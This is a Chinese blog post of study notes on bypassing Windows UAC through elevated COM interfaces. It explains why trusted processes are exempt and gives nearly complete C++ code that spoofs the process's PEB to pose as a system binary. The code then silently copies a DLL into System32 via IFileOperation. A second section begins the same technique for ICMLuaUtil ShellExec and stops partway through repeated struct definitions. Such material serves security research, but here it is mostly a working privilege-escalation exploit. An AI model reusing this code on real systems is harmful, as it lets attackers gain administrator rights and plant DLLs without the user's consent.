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Code  ›  UACBypass COM提权学习 - ciyze0101
string 博客园 typedef
https://www.cnblogs.com/ciyze0101/p/15490273.html
潇洒的充电器
1 年前

0x1 前言

网上关于UACBypass方法比较多，本文备忘下COM方法的UACBypass的方法。在windows系统中，正常程序启动是user权限，如果需要提升到管理员权限，会弹出一个提权窗，给到用户确认是否要提权。但是windows系统中有很多系统程序，为了避免过多的打扰用户，所以windows对这些系统进程会有一些放过，本文备忘下在学习过程中整理的从user权限到管理员权限的COM方法的UACBypass，以及其提权的原理。

0x2 COM类提权

COM类提权原理，系统对提权类COM会校验调用来源，如果是系统可信进程（微软进程），则可以通过CoCreateInstanceAsAdmin函数来创建一个提权的COM类，如果不是可信进程，则CoCreateInstanceAsAdmin会弹出一个提权弹窗。对于校验可信进程，一般有多种方法：

1.注入到系统可信进程（一般注入到explorer、dllhost进行执行）

2.修改当前进程PEB结构，欺骗PSAPI，COM组件通过PSAPI读取进程PEB结构中的Commandline来识别进程来源是否可信，可以将进程的PEB路径修改为比如explorer.exe，就可以对COM提权

3.用可信文件直接调用COM组件，比如使用powershell.exe调用COM组件进行提权

下面介绍几种常用的提权COM类：

2.1 IFileOperation越权拷贝文件

通过修改PEB，越权执行IFileOperation的拷贝，参考 https://www.secpulse.com/archives/72563.html 

#include <cstdio>
#include <Windows.h>
#include <string>
#include <tlhelp32.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
#include <Shobjidl.h>
#include <string>
#include <strsafe.h>
#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32  34
#define GDI_HANDLE_BUFFER_SIZE64  60
#define GDI_BATCH_BUFFER_SIZE 310
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
#endif
typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _CLIENT_ID64 {
    ULONG64 UniqueProcess;
    ULONG64 UniqueThread;
} CLIENT_ID64, *PCLIENT_ID64;
typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    union
        LIST_ENTRY InInitializationOrderLinks;
        LIST_ENTRY InProgressLinks;
    } DUMMYUNION0;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    union
        ULONG Flags;
        struct
            ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
            ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
            ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
            ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
            ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
            ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
            ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
            ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
            ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
            ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
            ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
            ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
            ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
            ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
            ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
            ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
            ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
            ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
            ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
            ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
            ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
            ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
            ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
            ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
            ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
            ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
            ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
            ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
    } ENTRYFLAGSUNION;
    WORD ObsoleteLoadCount;
    WORD TlsIndex;
    union
        LIST_ENTRY HashLinks;
        struct
            PVOID SectionPointer;
            ULONG CheckSum;
    } DUMMYUNION1;
    union
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    } DUMMYUNION2;
    //fields below removed for compatibility
} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
    BOOLEAN ShutdownInProgress;
    HANDLE ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData; //8+
    ULONG ProcessGroupId;
    // ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
        BOOLEAN BitField;
        struct
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN IsProtectedProcessLight : 1;
            BOOLEAN IsLongPathAwareProcess : 1;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
        ULONG CrossProcessFlags;
        struct
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ReservedBits0 : 25;
        ULONG EnvironmentUpdateCount;
    union
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    ULONG SystemReserved[1];
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID *ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;
    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;
    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;
    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID *ProcessHeaps;
    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    ULONG GdiDCAttributeList;
    PRTL_CRITICAL_SECTION LoaderLock;
    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    ULONG_PTR ImageProcessAffinityMask;
    GDI_HANDLE_BUFFER GdiHandleBuffer;
    PVOID PostProcessInitRoutine;
    PVOID TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];
    ULONG SessionId;
    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;
    UNICODE_STRING CSDVersion;
    PVOID ActivationContextData;
    PVOID ProcessAssemblyStorageMap;
    PVOID SystemDefaultActivationContextData;
    PVOID SystemAssemblyStorageMap;
    SIZE_T MinimumStackCommit;
    PVOID *FlsCallback;
    LIST_ENTRY FlsListHead;
    PVOID FlsBitmap;
    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
    ULONG FlsHighIndex;
    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID pContextData;
    PVOID pImageHeaderHash;
    union
        ULONG TracingFlags;
        struct
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
    ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEB, *PPEB;
typedef struct _GDI_TEB_BATCH {
    ULONG    Offset;
    UCHAR    Alignment[4];
    ULONG_PTR HDC;
    ULONG    Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
    ULONG Flags;
    PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
    ULONG Flags;
    struct _TEB_ACTIVE_FRAME *Previous;
    PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
typedef struct _TEB {
    NT_TIB NtTib;
    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;
    ULONG LastErrorValue;
    ULONG CountOfOwnedCriticalSections;
    PVOID CsrClientThread;
    PVOID Win32ThreadInfo;
    ULONG User32Reserved[26];
    ULONG UserReserved[5];
    PVOID WOW32Reserved;
    LCID CurrentLocale;
    ULONG FpSoftwareStatusRegister;
    PVOID SystemReserved1[54];
    NTSTATUS ExceptionCode;
    PVOID ActivationContextStackPointer;
#if defined(_M_X64)
    UCHAR SpareBytes[24];
#else
    UCHAR SpareBytes[36];
#endif
    ULONG TxFsContext;
    GDI_TEB_BATCH GdiTebBatch;
    CLIENT_ID RealClientId;
    HANDLE GdiCachedProcessHandle;
    ULONG GdiClientPID;
    ULONG GdiClientTID;
    PVOID GdiThreadLocalInfo;
    ULONG_PTR Win32ClientInfo[62];
    PVOID glDispatchTable[233];
    ULONG_PTR glReserved1[29];
    PVOID glReserved2;
    PVOID glSectionInfo;
    PVOID glSection;
    PVOID glTable;
    PVOID glCurrentRC;
    PVOID glContext;
    NTSTATUS LastStatusValue;
    UNICODE_STRING StaticUnicodeString;
    WCHAR StaticUnicodeBuffer[261];
    PVOID DeallocationStack;
    PVOID TlsSlots[64];
    LIST_ENTRY TlsLinks;
    PVOID Vdm;
    PVOID ReservedForNtRpc;
    PVOID DbgSsReserved[2];
    ULONG HardErrorMode;
#if defined(_M_X64)
    PVOID Instrumentation[11];
#else
    PVOID Instrumentation[9];
#endif
    GUID ActivityId;
    PVOID SubProcessTag;
    PVOID EtwLocalData;
    PVOID EtwTraceData;
    PVOID WinSockData;
    ULONG GdiBatchCount;
    union
        PROCESSOR_NUMBER CurrentIdealProcessor;
        ULONG IdealProcessorValue;
        struct
            UCHAR ReservedPad0;
            UCHAR ReservedPad1;
            UCHAR ReservedPad2;
            UCHAR IdealProcessor;
    ULONG GuaranteedStackBytes;
    PVOID ReservedForPerf;
    PVOID ReservedForOle;
    ULONG WaitingOnLoaderLock;
    PVOID SavedPriorityState;
    ULONG_PTR SoftPatchPtr1;
    PVOID ThreadPoolData;
    PVOID *TlsExpansionSlots;
#if defined(_M_X64)
    PVOID DeallocationBStore;
    PVOID BStoreLimit;
#endif
    ULONG MuiGeneration;
    ULONG IsImpersonating;
    PVOID NlsCache;
    PVOID pShimData;
    ULONG HeapVirtualAffinity;
    HANDLE CurrentTransactionHandle;
    PTEB_ACTIVE_FRAME ActiveFrame;
    PVOID FlsData;
    PVOID PreferredLanguages;
    PVOID UserPrefLanguages;
    PVOID MergedPrefLanguages;
    ULONG MuiImpersonation;
    union
        USHORT CrossTebFlags;
        USHORT SpareCrossTebBits : 16;
    union
        USHORT SameTebFlags;
        struct
            USHORT SafeThunkCall : 1;
            USHORT InDebugPrint : 1;
            USHORT HasFiberData : 1;
            USHORT SkipThreadAttach : 1;
            USHORT WerInShipAssertCode : 1;
            USHORT RanProcessInit : 1;
            USHORT ClonedThread : 1;
            USHORT SuppressDebugMsg : 1;
            USHORT DisableUserStackWalk : 1;
            USHORT RtlExceptionAttached : 1;
            USHORT InitialThread : 1;
            USHORT SpareSameTebBits : 1;
    PVOID TxnScopeEnterCallback;
    PVOID TxnScopeExitCallback;
    PVOID TxnScopeContext;
    ULONG LockCount;
    ULONG SpareUlong0;
    PVOID ResourceRetValue;
} TEB, *PTEB;
typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
    _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_    PVOID Context,
    _Inout_ BOOLEAN *StopEnumeration
typedef PVOID NTAPI RTLINITUNICODESTRING(
    _Inout_    PUNICODE_STRING DestinationString,
    _In_opt_ PCWSTR SourceString
typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING;
LPRTLINITUNICODESTRING            RtlInitUnicodeString;
typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION;
LPRTLENTERCRITICALSECTION            RtlEnterCriticalSection;
typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION;
LPRTLLEAVECRITICALSECTION            RtlLeaveCriticalSection;
typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
    _In_opt_ ULONG Flags,
    _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
    _In_opt_ PVOID Context);
typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES;
LPLDRENUMERATELOADEDMODULES            LdrEnumerateLoadedModules;
typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
    _In_        HANDLE ProcessHandle,
    _Inout_     PVOID *BaseAddress,
    _In_        ULONG_PTR ZeroBits,
    _Inout_     PSIZE_T RegionSize,
    _In_        ULONG AllocationType,
    _In_        ULONG Protect
typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY;
LPNTALLOCATEVIRTUALMEMORY    NtAllocateVirtualMemory;
LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe");
VOID NTAPI supxLdrEnumModulesCallback(
    _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_ PVOID Context,
    _Inout_ BOOLEAN *StopEnumeration
    PPEB Peb = (PPEB)Context;
    if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
        RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
        RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer
        *StopEnumeration = TRUE;
    else {
        *StopEnumeration = FALSE;
__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
VOID supMasqueradeProcess(
    NTSTATUS Status;
    PPEB    Peb = NtCurrentPeb();
    SIZE_T  RegionSize;
    PVOID g_lpszExplorer = NULL;
    RegionSize = 0x1000;
    Status = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &g_lpszExplorer,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    if (NT_SUCCESS(Status)) {
        RtlEnterCriticalSection(Peb->FastPebLock);
        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
        RtlLeaveCriticalSection(Peb->FastPebLock);
        LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
int main()
    HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
    if (hinstStub)
        RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");
        if (!RtlInitUnicodeString)
            printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL");
            exit(0);
        RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection");
        if (!RtlEnterCriticalSection)
            printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL");
            exit(0);
        RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection");
        if (!RtlLeaveCriticalSection)
            printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL");
            exit(0);
        LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules");
        if (!LdrEnumerateLoadedModules)
            printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL");
            exit(0);
        NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
        if (!NtAllocateVirtualMemory)
            printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL");
            exit(0);
        printf("Could not GetModuleHandle of NTDLL.DLL");
        exit(0);
    supMasqueradeProcess();
HMODULE hModule = NULL;
    IFileOperation *fileOperation = NULL;
    LPCWSTR dllName = L"ntwdblib.dll";
    LPCWSTR SourceFullPath = L"C:\\6\\ntwdblib.dll";
    LPCWSTR DestPath = L"C:\\windows\\System32";
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    if (SUCCEEDED(hr)) {
        hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&fileOperation));
        if (SUCCEEDED(hr)) {
            hr = fileOperation->SetOperationFlags(
                FOF_NOCONFIRMATION |
                FOF_SILENT |
                FOFX_SHOWELEVATIONPROMPT |
                FOFX_NOCOPYHOOKS |
                FOFX_REQUIREELEVATION |
                FOF_NOERRORUI);
            if (SUCCEEDED(hr)) {
                IShellItem *from = NULL, *to = NULL;
                hr = SHCreateItemFromParsingName(SourceFullPath, NULL, IID_PPV_ARGS(&from));
                if (SUCCEEDED(hr)) {
                    if (DestPath)
                        hr = SHCreateItemFromParsingName(DestPath, NULL, IID_PPV_ARGS(&to));
                    if (SUCCEEDED(hr)) {
                        hr = fileOperation->CopyItem(from, to, dllName, NULL);
                        if (NULL != to)
                            to->Release();
                    from->Release();
                if (SUCCEEDED(hr)) {
                    hr = fileOperation->PerformOperations();
            fileOperation->Release();
        CoUninitialize();
    getchar();
    return 0;
View Code

　2.2 ICMLuaUtil越权执行




    



 　　通过修改PEB，越权执行ICMLuaUtil的ShellExec


#include <cstdio>
#include <Windows.h>
#include <string>
#include <tlhelp32.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
#include <Shobjidl.h>
#include <string>
#include <strsafe.h>
#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32  34
#define GDI_HANDLE_BUFFER_SIZE64  60
#define GDI_BATCH_BUFFER_SIZE 310
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
#endif
typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _CLIENT_ID64 {
    ULONG64 UniqueProcess;
    ULONG64 UniqueThread;
} CLIENT_ID64, *PCLIENT_ID64;
typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    union
        LIST_ENTRY InInitializationOrderLinks;
        LIST_ENTRY InProgressLinks;
    } DUMMYUNION0;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    union
        ULONG Flags;
        struct
            ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
            ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
            ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
            ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
            ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
            ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
            ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
            ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
            ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
            ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
            ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
            ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
            ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
            ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
            ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
            ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
            ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
            ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
            ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
            ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
            ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
            ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
            ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
            ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
            ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
            ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
            ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
            ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
    } ENTRYFLAGSUNION;
    WORD ObsoleteLoadCount;
    WORD TlsIndex;
    union
        LIST_ENTRY HashLinks;
        struct
            PVOID SectionPointer;
            ULONG CheckSum;
    } DUMMYUNION1;
    union
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    } DUMMYUNION2;
    //fields below removed for compatibility
} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
    BOOLEAN ShutdownInProgress;
    HANDLE ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData; //8+
    ULONG ProcessGroupId;
    // ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
